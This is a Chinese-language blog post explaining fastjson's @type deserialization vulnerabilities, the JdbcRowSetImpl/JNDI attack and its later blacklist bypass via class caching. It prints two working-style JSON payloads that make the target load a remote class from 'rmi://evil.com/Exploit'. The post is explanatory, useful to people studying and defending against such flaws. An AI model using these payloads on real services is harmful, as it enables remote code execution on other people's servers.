fastjson的安全黑历史

区块链

  fastjson最近又又又爆出安全漏洞了。大佬大手一挥,我们从此告别了fastjson。值此期间,我们也来看一下,fastjson究竟有什么安全问题。原先我也以为一个json解析能和服务安全扯上关系吗?不就是字符串反序列化对象,对象序列化字符串。这一切要从fastjson的@type功能说起。

  自定义类解析

   @type是fastjson的一个关键字,用以在json字符串中指定其反序列化的类。有人说fastjson调用代码时指定类(parseObject(String text, Class<T> clazz))不就可以了?这个@type是不是多次一举了。请看下面的例子。

  public class Fruit{ private Integer grade; private Integer weight; // Getter Setter省略,下同}public class Apple exts Fruit{ // 苹果我们关心硬度 private Integer hard;}public class Banana exts Fruit{ // 香蕉我们关心烂不烂 private Integer maturity;}public readFruits(String json){List<Fruit> fruits = JSON.parseArray(json,Fruit.class);} 待解析的JSON字符串如下所示

  [ {"@type":"Apple","grade":1,"weight":2,"hard":2}, {"@type":"Banana","grade":2,"weight":3,"maturity":1}] 聪明的读者已经发现这是一个Java多态的实例。如果不使用@type指定对象,那么解析得到的Fruit将不会含有子类信息(想想为什么)。通过@type在json字符串中指定类型,可以使得多态对象在经过序列化和反序列化仍能保留原有的子类信息。

  灵活与风险并存

   这个类指定的能力,在帮助我们实现多态的同时,也打开了一个危险的潘多拉魔盒。因为json的bean对象,通常情况下字段是通过set方法完成设值的,对外暴露了类也就暴露了类的set方法。这一类的指定对象并不一定是我们常用的POJO类,而可以是任何JVM已加载的类,通过@type指定类功能也使JVM中所有类的set方法全部暴露在黑客的攻击范围中,其中JDK默认引入的类首当其中,以JdbcRowSetImpl最为著名。

  // 示意代码,非源码public class JdbcRowSetImpl{private Connectionconn;private Stringdata SourceName;public void setAutoCommit(boolean autoCommit)throws SQLException{ this.conn = this.connect(); this.conn.setAutoCommit(autoCommit);}private Connection connect()throws SQLException{ if(this.getDataSourceName()!= null) { InitialContextcontext = newInitialContext(); // 被攻击的关键代码 DataSourcedataSource = (DataSource)context.lookup(this.getDataSourceName()); } }} JdbcRowSetImpl的setAutoCommit方法调用链中,关键的被攻击代码使用到的Java的JNDI(Java命名和目录接口)功能。JNDI可能对于大多数人比较陌生,其作用是Java体系内的寻址,就好像URL对于互联网的作用,可以把它理解成Java内的网址。而上述的lookup函数,是Java RMI的,即通过远程加载类到本地执行。由于dataSourceName也可以由json指定,黑客就可以随心所欲的指定远程类,让被攻击的服务器下载类并执行,也就等于你的java服务为黑客打工了。具体攻击json如下(Java RMI本身也不安全,后续java版本中默认不开启)。

  {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evil.com/Exploit","autoCommit":"true"}卷土重来

   当然fastjson对此也很快做出了修复,上述漏洞在1.2.25版本中即被修复,对@type可以指定的类加入了一个黑名单,把类似JdbcRowSetImpl的类统统关了小黑屋。不过没过多久,这个小黑屋就被人拿了钥匙走了后门。

  这个后门就是fastjson对Class类的处理,当反序列化内容中包含Class对象时,fastjson会把这个类做类加载,并把这个类放到反序列化的缓存之中。而小黑屋的校验对缓存内的类是不生效的。

  // 示意代码,非源码public getClazz(StringtypeName){Class clazz;if(clazz == null){ // 通过缓存可以让类走后门 clazz = loadFromCache(typeName); return clazz; }if(clazz == null) { clazz = checkAutoType(typeName); }} 那么通过在json中先构造java.lang.class对象来置入黑名单类到缓存中,再按照之前的方式把type申明成JdbcRowSetImpl,就又可以攻击服务器了。

  {"@type":"java.lang.class","className":"com.sun.rowset.JdbcRowSetImpl","backdoor": { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://evil.com/Exploit", "autoCommit":"true"}}总结

   上述Bug之后在1.2.49被修复。不过黑名单的处理方式依然值得诟病,要穷举java的危险类并不容易,就算是仅在JDK的类之中,也无法保证更新迭代不出现新的漏洞。好在fastjson在1.2.25就将@type功能设为可选项,需要通过指定才能打开。

   回顾上述漏洞,可以发现在引入这个@type危险功能时,fastjson一开始并没有将其设为可选,而是自信的默认打开。而在在为@type打补丁时,缓存的实现上又留了低级BUG,这样的fastjson似乎难以赢得我们的信任,长痛不如短痛,我们也只有挥泪斩马谡了。

标签: 区块链